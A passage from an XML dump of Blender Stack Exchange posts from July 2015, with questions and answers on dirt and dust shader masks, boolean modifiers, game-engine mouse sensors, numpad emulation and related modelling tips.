doesn't accumulate evenly over an entire object, it likes to get caught and pile up in corners and crevices where it isn't easily brushed or blown away.  To simulate this in Blender I will be using the brand-new &lt;em&gt;pointiness&lt;/em&gt; input from the &lt;em&gt;input&lt;/em&gt; &gt; &lt;em&gt;geometry&lt;/em&gt; node (so make sure you are using Blender 2.74 or later).  You usually have to tweak it's output with a color ramp to get some better contrast, then just &lt;em&gt;add&lt;/em&gt; it to the grunge mask you are already using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQkKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Dust:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PM3hU.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PM3hU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dust usually doesn't stick to an object very much, it just settles on the top.  To get this effect I plug the &lt;em&gt;normal&lt;/em&gt; output of a &lt;em&gt;geometry&lt;/em&gt; node into a &lt;em&gt;Seperate XYZ&lt;/em&gt; node, the Z output of this node will give how much the face is pointing upwards.  Just use this output, multiplied by another grunge texture, as a mix factor for the dust shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IJWkS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IJWkS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's the final result:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5Wu9C.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Wu9C.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-07-24T18:18:24.417" LastActivityDate="2015-07-24T18:18:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34457" PostTypeId="2" ParentId="34455" CreationDate="2015-07-24T04:29:56.870" Score="5" Body="&lt;p&gt;There are two types of dirt masks you should consider for this type of a surface. Firstly the dirt that accumulates in the crevices of the surface, in this case the grout lines, and secondly surface dirt/tarnishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a nodetree demonstrating one method of creating both these effects here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nrb8h.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nrb8h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a progression gif showing the stages of the effects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i8qBH.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8qBH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the noise and masks are generated with procedural textures not image textures, which can be beneficial in many circumstances, particularly when it comes to tiling issues across large surfaces.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-24T04:29:56.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34458" PostTypeId="2" ParentId="34434" CreationDate="2015-07-24T04:56:29.323" Score="5" Body="&lt;p&gt;Here is how it should be : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;layout.prop(scene.render, &quot;fps&quot;, text=&quot;fps&quot;)&lt;/code&gt; &#xA;since the property is &lt;code&gt;fps&lt;/code&gt;  and it is in &lt;code&gt;scene.render&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-24T04:56:29.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34459" PostTypeId="2" ParentId="34448" CreationDate="2015-07-24T05:07:14.233" Score="1" Body="&lt;p&gt;here is how to detect a mouse button release and activate an actuator, using a Boolean property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mouse_Lclick = cont.sensors[&quot;Mouse_leftclick&quot;] &#xA;&#xA;    if mouse_Lclick.positive :&#xA;        if not own['hold'] :&#xA;             # just pressed&#xA;             own['hold'] = True&#xA;        else :&#xA;             # button is held&#xA;    else :&#xA;        if own['hold'] :&#xA;            # button released&#xA;            own['hold'] = False&#xA;            cont.activate(actuator)  #activate the actuator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-07-24T06:21:17.153" LastActivityDate="2015-07-24T06:21:17.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34460" PostTypeId="2" ParentId="34451" CreationDate="2015-07-24T05:11:59.900" Score="28" Body="&lt;h2&gt;How to do a subtractive boolean&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you've selected the object to be carved from, and add a Boolean Modifier (when in Edit mode, look for a wrench icon on the right-side panel when you have the object to be carved from selected - this is the modifier panel).&lt;/li&gt;&#xA;&lt;li&gt;For the modifier's Operation choose &amp;quot;Difference&amp;quot;.&lt;/li&gt;&#xA;&lt;li&gt;For the Object field choose the object that will do the carving.&lt;/li&gt;&#xA;&lt;li&gt;Apply the Boolean Modifier and delete your carving object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; For step 4, as an alternative non-destructive approach you could also leave the modifier on without applying it, and hide the carving object from rendering. If you want to see the carving object's shape and its effect at the same time, instead of totally hiding it in the viewport you could go to the Object Tab and set the Maximum Draw Type to &amp;quot;Wire&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3mrkn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mrkn.png&quot; alt=&quot;Using &amp;quot;Wire&amp;quot; view to see the geometry of the object causing the boolean&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Low-poly meshes may not boolean so well, while high-poly meshes can be slow to calculate or in extreme cases even crash Blender. So consider your mesh density before using a boolean.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; If either mesh's normals are facing the wrong direction you will have problems when doing a boolean. Recalculating normals can sometimes be a solution if you find a boolean is not working as expected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Remove doubles. If your normals are just fine, the next thing to try is removing doubled-up vertices. This can be done from within Edit Mode by pressing &lt;kbd&gt;W&lt;/kbd&gt; and choosing &amp;quot;Remove Doubles&amp;quot;. At the top of the interface near the tiny Blender logo a message will momentarily appear saying &amp;quot;Removed __ vertices&amp;quot;. If this number is not 0 then you'll know that some doubles were removed and that the problem has probably been fixed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Large n-gons can cause booleans to fail. The solution is to convert to triangles. &lt;a href=&quot;https://blender.stackexchange.com/questions/21304/cannot-execute-boolean-operation&quot;&gt;Here&lt;/a&gt; is a post addressing this problem in more detail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Avoid booleans if you plan to SubSurf. Modeling with booleans may be fine for simple hard-surface geometry, but if you then put a Subdivision Surface Modifier on that object you can expect unsightly results. This is because for things like subdivision and mesh deformation topology is important. An all-quad mesh is ideal, but still requires some good old-fashioned manual modeling to create. It's worth learning the concepts of edge-flow and poles if you intend to create a low or med-poly mesh with &amp;quot;holes&amp;quot; cut into it that still looks good when SubSurfed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Sometimes using &amp;quot;Smooth&amp;quot; shading doesn't go so smoothly after modeling with a boolean. This has a lot to do with the topology issues I mentioned above, but there is a quick fix that is suitable for many cases. Navigate to the Mesh context tab and check the Auto Smooth option. Adjust the slider until the shading looks desirable in the viewport. Here is a before/after example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QboeT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QboeT.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that regardless of the angle specified for Auto Smooth, any edges that have been Marked Sharp (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;) will be sharp as long as the Auto Smooth feature is enabled.&lt;/p&gt;&#xA;&lt;h2&gt;The solution for your case&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vi8YB.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vi8YB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It was caused by conflicting normals, as I mentioned in one of the tips above. In fact, you can even see from the darkly shaded geometry in your screen shots that some of the normals are inverted. After recalculating normals on both objects I was able to boolean just fine. Here's the solved file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/370/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=370&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="241" LastEditDate="2020-08-13T08:06:06.903" LastActivityDate="2020-08-13T08:06:06.903" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34461" PostTypeId="2" ParentId="12358" CreationDate="2015-07-24T06:55:58.770" Score="9" Body="&lt;p&gt;I presume that this feature did not exist at the moment when this question was asked, but you can now go to &lt;strong&gt;Tools Menu&lt;/strong&gt; -&gt; &lt;strong&gt;Stroke&lt;/strong&gt; -&gt; &lt;strong&gt;Stroke Method&lt;/strong&gt; and choose &lt;em&gt;Line&lt;/em&gt;, and draw strokes as lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wNJ21.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNJ21.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2015-07-24T06:55:58.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34463" PostTypeId="1" CreationDate="2015-07-24T07:45:54.580" Score="2" ViewCount="1575" Body="&lt;p&gt;I'm trying to rig and animate a Hulk object I found off the internet. But, when I try posing the armature, the hair texture doesn't move with the rig. I'm brand new to Blender so please walk me through a solution step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of the problem:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K2RTg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2RTg.png&quot; alt=&quot;Hair texture not moving with object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded my blender file and assets &lt;a href=&quot;https://drive.google.com/folderview?id=0B_k1-97vYIsifmFaYl9nMWhydWJUYjBDOHI3TUFaSEphUkdDRmk0aW51eHM2R2VBWGpvNkU&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15877" LastEditorUserId="15877" LastEditDate="2015-07-24T07:59:01.840" LastActivityDate="2016-06-27T04:29:00.430" Title="Hair mesh not moving with rig" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-27T15:27:23.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="34464" PostTypeId="1" AcceptedAnswerId="34491" CreationDate="2015-07-24T09:00:14.010" Score="0" ViewCount="142" Body="&lt;p&gt;I have a navigation mesh (as shown in the attached picture). The navigation mesh consists of curve and array modifiers. As it is has an array modifier, it consists of strings of planes (I see it when I switch to 'edit mode').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can I iterate over the navigation mesh to get its the length and coordinate of center of each small planes in the navigation mesh. If yes then, please give me some python based example. Thanks in advance!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kYdaf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kYdaf.png&quot; alt=&quot;navigation mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15469" LastActivityDate="2015-07-24T19:38:20.880" Title="How get length of Navigation Mesh?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34465" PostTypeId="1" AcceptedAnswerId="34467" CreationDate="2015-07-24T09:23:37.333" Score="0" ViewCount="319" Body="&lt;p&gt;I use the following node setup for world settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dNEwW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNEwW.png&quot; alt=&quot;node setup - world&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the keyframe on the z-axis in the mapping node. At the end of the animation, the environment map will be rotated by a full 360 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rotation defaults to a bezier curve, which I don't want - I want to switch it to a linear rotation, to be able to create a continuous loop. However, this animation never shows up in the graph editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I understand that the graph editor shows only curves on the selected objects, but how do you 'select' the environment map? You can't even click the 'world' entry in the outliner.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to control the animations behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender v2.75.&lt;/p&gt;&#xA;" OwnerUserId="15328" LastActivityDate="2015-07-24T09:40:39.047" Title="Control the rotation of an environment map" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34466" PostTypeId="1" CreationDate="2015-07-24T09:30:31.220" Score="3" ViewCount="766" Body="&lt;p&gt;In Blender Game how you can make an object to emit light? l known how you can make an object to emit light in Blender render but l don't known how you can make an object to emit light in Blender game.&lt;/p&gt;&#xA;" OwnerUserId="5460" LastActivityDate="2015-07-24T13:50:39.803" Title="Blender game: How you can make an object to emit light?" Tags="&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34467" PostTypeId="2" ParentId="34465" CreationDate="2015-07-24T09:33:25.250" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2zSA9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zSA9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;Select the mapping node in the compositor, then go to your animation scene, to your graph editor and you can change it to linear.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-07-24T09:40:39.047" LastActivityDate="2015-07-24T09:40:39.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34468" PostTypeId="2" ParentId="34448" CreationDate="2015-07-24T10:46:38.417" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can detect button press by checking if the sensor is positive. &lt;/li&gt;&#xA;&lt;li&gt;You can detect button release by checking if the sensor is not&#xA;positive.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As the sensor (with default settings) triggers on state change only, you can sense this situations with the primitive controllers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TX2OZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TX2OZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;with AND, OR&lt;/li&gt;&#xA;&lt;li&gt;with NOR, NAND&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Be aware this will not work when you connect more sensors to the same controller as they trigger regardless if the button is just pressed or just released.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-24T10:46:38.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34469" PostTypeId="1" AcceptedAnswerId="34470" CreationDate="2015-07-24T10:52:48.187" Score="2" ViewCount="2464" Body="&lt;p&gt;A lot of the shortcuts in blender uses the number pad, Where in blender can I change for example the point of view without using the shortcut.&lt;/p&gt;&#xA;" OwnerUserId="15390" LastActivityDate="2015-07-24T11:13:41.217" Title="Don't have a num pad, How would I go about changing the view?" Tags="&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34470" PostTypeId="2" ParentId="34469" CreationDate="2015-07-24T11:08:06.740" Score="1" Body="&lt;p&gt;Go to &lt;strong&gt;&lt;em&gt;File--&gt;User Preferences--&gt;Input&lt;/em&gt;&lt;/strong&gt; (or use a &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; shortcut) and check the &lt;strong&gt;&lt;em&gt;Emulate Numpad&lt;/em&gt;&lt;/strong&gt; box. You can now use the normal 1,2,3,4,5,6,7,8,9,0 buttons at the top of your keyboard to change camera views instead of the numpad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this answer also: &lt;a href=&quot;https://blender.stackexchange.com/questions/26938/how-to-reset-the-angle-of-rotated-view-without-a-numpad&quot;&gt;How to reset the angle of rotated view without a numpad?&lt;/a&gt; It shows how to change the view without using any shortcuts.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dtWv9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtWv9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-24T11:13:41.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34471" PostTypeId="1" AcceptedAnswerId="34513" CreationDate="2015-07-24T11:14:19.557" Score="2" ViewCount="1348" Body="&lt;p&gt;I render a short movie. I set the camera to the circle curve to make it fly in circle. The problem is after render, the camera is a little shaky. Can anyone help me? Thanks first.&lt;/p&gt;&#xA;" OwnerUserId="15879" LastEditorDisplayName="user1853" LastEditDate="2015-07-25T06:43:29.303" LastActivityDate="2015-07-25T06:56:20.527" Title="Uneven movement on camera following a path." Tags="&lt;animation&gt;&lt;camera&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34472" PostTypeId="1" CreationDate="2015-07-24T12:02:09.967" Score="1" ViewCount="755" Body="&lt;p&gt;I've had Blender 2.75 for a few days now and I've run into this problem. I'm trying to make my &quot;character&quot;lip sync however I can't select multiple vertices, I've tried b and c keys yet nothing but a few vertexes are being selected, which I didn't need like ones on the hair.&#xA;I imported this character from wow model viewer, I watched a tutorial on it and everything looked like it was going fine he could manipulate and move them just fine. Also the vertices aren't &quot;linked&quot; together if I move one it will create a hole and the other vertices around them will simply stay in their original state. You can see how this is a problem. I tried to make mouth movements using bones but that was very time consuming so I eventually gave up :/ Help meh D:&lt;/p&gt;&#xA;" OwnerUserId="15880" LastEditorUserId="3401" LastEditDate="2015-12-22T18:13:39.443" LastActivityDate="2015-12-22T18:13:39.443" Title="I can't select multiple vertices and move them. (Blender 2.75)" Tags="&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34473" PostTypeId="1" CreationDate="2015-07-24T13:08:13.553" Score="4" ViewCount="884" Body="&lt;p&gt;Is it possible to generate mesh at runtime in blender game engine? That is, is it possible for blender to generate meshes using python code when the game runs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really would like to know if this is possible, as my final year project requires use of this.&lt;/p&gt;&#xA;" OwnerUserId="15670" LastEditorUserId="3710" LastEditDate="2015-07-24T13:21:56.737" LastActivityDate="2017-06-20T03:31:37.947" Title="Generate mesh at run time" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34474" PostTypeId="2" ParentId="34466" CreationDate="2015-07-24T13:50:39.803" Score="1" Body="&lt;p&gt;I don't believe you can, you could however parent a light to the object and give the object a shadeless texture. It for all intents and purposes would appear to be emitting light in that case.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-07-24T13:50:39.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34475" PostTypeId="2" ParentId="34445" CreationDate="2015-07-24T13:52:29.490" Score="1" Body="&lt;p&gt;I find when I have navigation problems, selecting a mesh and pressing the &lt;kbd&gt;.&lt;/kbd&gt; key on the numpad fixes it.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastEditorUserId="527" LastEditDate="2015-07-24T15:49:48.647" LastActivityDate="2015-07-24T15:49:48.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34476" PostTypeId="2" ParentId="31350" CreationDate="2015-07-24T14:08:43.827" Score="1" Body="&lt;p&gt;If you're trying to do (render a scene that perfectly mimics the real-life photo) what I think you're trying to do, then there's a lot more involved than what we'd reasonably be able to write here. But there are a few steps that can get you closer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A good place to start is Blender's &lt;a href=&quot;https://www.blender.org/manual/motion_tracking/&quot; rel=&quot;nofollow&quot;&gt;2D Camera Tracking documentation&lt;/a&gt;. You'll want to look at the metadata for the photograph, or otherwise learn a bit about your camera. There are a lot of parameters that go into making a photo look the way it does.&lt;/li&gt;&#xA;&lt;li&gt;It looks like your camera used an &lt;a href=&quot;https://en.wikipedia.org/wiki/High-dynamic-range_imaging&quot; rel=&quot;nofollow&quot;&gt;'HDR' setting&lt;/a&gt; to get the image's colors and contrast to look so stellar. You may have some difficulty making this happen in blender, but &lt;a href=&quot;https://www.youtube.com/watch?v=8MYDuWn-PoA&quot; rel=&quot;nofollow&quot;&gt;it can be done&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;As for the orientation and location of your camera, you're right to start by blowing the mesh up considerably (it will help make the light and shadows more realistic). Moreover, &lt;em&gt;the world is really really big.&lt;/em&gt; It may take a lot of scaling before your geometry even starts to approach the correct scale. Whenever I'm having difficulty with scale (it's easy to get 'lost' in Blender-units) I add a roughly human-shaped object (normally just a tapered cylinder with an icosphere head) and put it in my scene. Then I scale objects until I could see them being the right height. (It's hard here because mountains are &lt;em&gt;big&lt;/em&gt;... But it'll help you when you're orienting the camera. It'll probably go a lot closer to the mesh &amp;mdash; that is, 'lower' to earth &amp;mdash; than you're imagining.)&lt;/li&gt;&#xA;&lt;li&gt;Before you even begin with textures and colors, though, you need to&#xA;get the geometry right. I'd suggest making this image your camera's&#xA;&lt;a href=&quot;http://www.blender.org/manual/editors/3dview/background_images.html&quot; rel=&quot;nofollow&quot;&gt;background reference&#xA;image&lt;/a&gt;&#xA;and using this to establish how to position your camera to get the&#xA;right image.&lt;/li&gt;&#xA;&lt;li&gt;Note that &lt;strong&gt;your heightmap may not be scaled properly&lt;/strong&gt; in the z-direction: Once you get the camera in the right position, I often find that my mountains look a bit mole-hilly. &lt;kbd&gt;s&lt;/kbd&gt;&lt;kbd&gt;z&lt;/kbd&gt; to scale in the z-direction only; with a camera at 'eye level' this may give you a better-looking middle-distance.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use clues in the photo to orient your camera.&lt;/strong&gt; Clearly the camera is pointed at a certain set of mountains from a certain direction, so start by putting your camera in the right geographical location. Point it in the right direction. Now look at your horizon in the photograph &amp;mdash; it's definitely angled! Orient your camera so that the &lt;code&gt;xy&lt;/code&gt; plane is at the same angle, and your image will start to come together.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My parting suggestion is to play around with the focal length: I find a much lower angle will make the environment appear larger (with the requirement that you move the camera 'back' to maintain the contents of the frame). &lt;a href=&quot;http://www.blender.org/manual/render/camera/lens.html&quot; rel=&quot;nofollow&quot;&gt;Play around with that slider&lt;/a&gt; and see the results; I think that may be why you're not getting the right 'feel', even though the geometry is all there.&lt;/p&gt;&#xA;" OwnerUserId="2371" LastActivityDate="2015-07-24T14:08:43.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34477" PostTypeId="1" AcceptedAnswerId="34563" CreationDate="2015-07-24T14:17:30.730" Score="2" ViewCount="940" Body="&lt;p&gt;I want to know If I can use blender as a photo and video viewer?&#xA;Like If I have a photo on my computer I just have to press &quot;open with&quot; blender and blender automatically open on the UV image editor if it is a photo or on the video editor if it is a video.&#xA;If not can this be done by a script or something?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2015-07-27T14:34:46.773" LastActivityDate="2015-08-27T11:38:34.270" Title="Can I use blender as a photo and video viewer?" Tags="&lt;image&gt;&lt;video&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34479" PostTypeId="1" AcceptedAnswerId="34514" CreationDate="2015-07-24T15:17:14.723" Score="30" ViewCount="121271" Body="&lt;p&gt;I had trouble merging/dissolve two faces together, like merging these two faces in the screenshot. Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ImYVv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ImYVv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2wPv6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2wPv6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastEditorUserId="5113" LastEditDate="2015-07-25T08:24:40.703" LastActivityDate="2015-07-25T08:24:40.703" Title="How to 'merge/dissolve' two faces?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34480" PostTypeId="2" ParentId="34479" CreationDate="2015-07-24T15:23:53.563" Score="16" Body="&lt;ul&gt;&#xA;&lt;li&gt;Go to edge select in edit mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt; +&lt;kbd&gt;Tab&lt;/kbd&gt; --&gt; &lt;strong&gt;&lt;em&gt;EDGE&lt;/em&gt;&lt;/strong&gt;), &lt;/li&gt;&#xA;&lt;li&gt;select the middle edge of the two faces. &lt;/li&gt;&#xA;&lt;li&gt;Then &lt;kbd&gt;X&lt;/kbd&gt; --&gt; &lt;strong&gt;&lt;em&gt;dissolve edges&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="5113" LastEditDate="2015-07-24T15:27:56.483" LastActivityDate="2015-07-24T15:27:56.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34482" PostTypeId="1" CreationDate="2015-07-24T15:47:45.460" Score="3" ViewCount="1111" Body="&lt;p&gt;I'm using right click but no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to work but something has changed and I can't figure out what.&lt;/p&gt;&#xA;" OwnerUserId="15886" LastActivityDate="2021-02-06T00:02:50.233" Title="Alt-click is not selecting edge loops on a mac." Tags="&lt;interface&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
